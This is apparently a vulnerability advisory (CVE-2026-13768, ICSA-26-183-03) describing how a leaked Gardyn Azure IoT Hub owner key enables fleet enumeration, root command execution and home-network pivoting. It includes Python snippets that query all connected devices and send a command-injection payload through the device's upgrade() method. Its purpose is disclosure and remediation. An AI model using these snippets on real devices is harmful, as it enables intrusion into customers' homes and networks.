CVE-2026-13768: Privileged IoT Hub Credential — Fleet Enumeration, Device RCE, and Home-Network Pivot

Advisory

Product

Summary

Gardyn exposes a privileged iothubowner shared-access key. Access to this key allows a malicious user to invoke an Azure IoT Hub Registry Manager function that returns connection information for all Gardyn Home Kit and Studio devices. The same key allows execution of arbitrary commands on a specific connected device and can allow the attacker to pivot to other devices on the victim's home network.

This is the IoT Hub advisory (ICSA-26-183-03) cataloging the control-plane blast radius of the administrative credential. It is related to, but distinct from, CVE-2025-1242 in ICSA-26-055-03, which cataloged the exposure of the iothubowner credential through unauthenticated API responses, mobile-app reverse engineering, and firmware analysis. CVE-2026-13768 captures what possession of that credential enables: fleet-wide enumeration, per-device remote code execution, and lateral movement into the home LAN.

Vulnerability Details

The credential

The iothubowner shared-access policy is the highest-privilege credential in Azure IoT Hub. Microsoft documents it as backend-service-administration only, never to be distributed to clients.

Fleet enumeration (Registry Manager)

With the key, IoTHubRegistryManager returns connection information for the entire fleet:

from azure.iot.hub import IoTHubRegistryManager
manager = IoTHubRegistryManager.from_connection_string(hub_conn_string)  # iothubowner
online = manager.query_iot_hub("SELECT * FROM devices WHERE connectionState = 'Connected'")

Per-device remote code execution

Cloud-to-device direct methods reach any device. Combined with the command-injection path in the device upgrade() handler (CVE-2025-29631), a C2D method yields root command execution on the target device:

from azure.iot.hub.models import CloudToDeviceMethod
method = CloudToDeviceMethod(method_name="upgrade", payload={
    "uri": "http://x; <command> ",   # injection sink in upgrade()
    "path": "/tmp/x", "services": []})
manager.invoke_device_method(device_id, method)

Home-network pivot

Each device sits on the customer's home WiFi. Command execution on the device provides a foothold behind the home firewall, from which an attacker can scan the LAN and interact with other hosts (routers, NAS, cameras, smart locks, personal computers). The device is the pivot point; it is already inside the network. This is the Gr0m-013 lateral-movement condition.

Mapping to coordinated findings

Remediation

Per ICSA-26-183-03, Gardyn states the IoT Hub deployed infrastructure has been updated to address the listed vulnerabilities.

1. Rotate the iothubowner administrative credential (breaks initial access).
2. Issue least-privilege, per-device credentials; retire fleet-wide administrative keys from any client-reachable path.
3. Eliminate the upgrade() command-injection sink (CVE-2025-29631) to remove the RCE primitive.
4. Enforce command allowlisting for direct methods.
5. Enable IoT Hub access logging and anomaly alerting (the vendor stated to CISA that no access logging existed on the affected endpoints during the exposure window).

Researcher: Michael Groberman (Gr0m) · Case: CERT/CC VU#653116 · Advisory: ICSA-26-183-03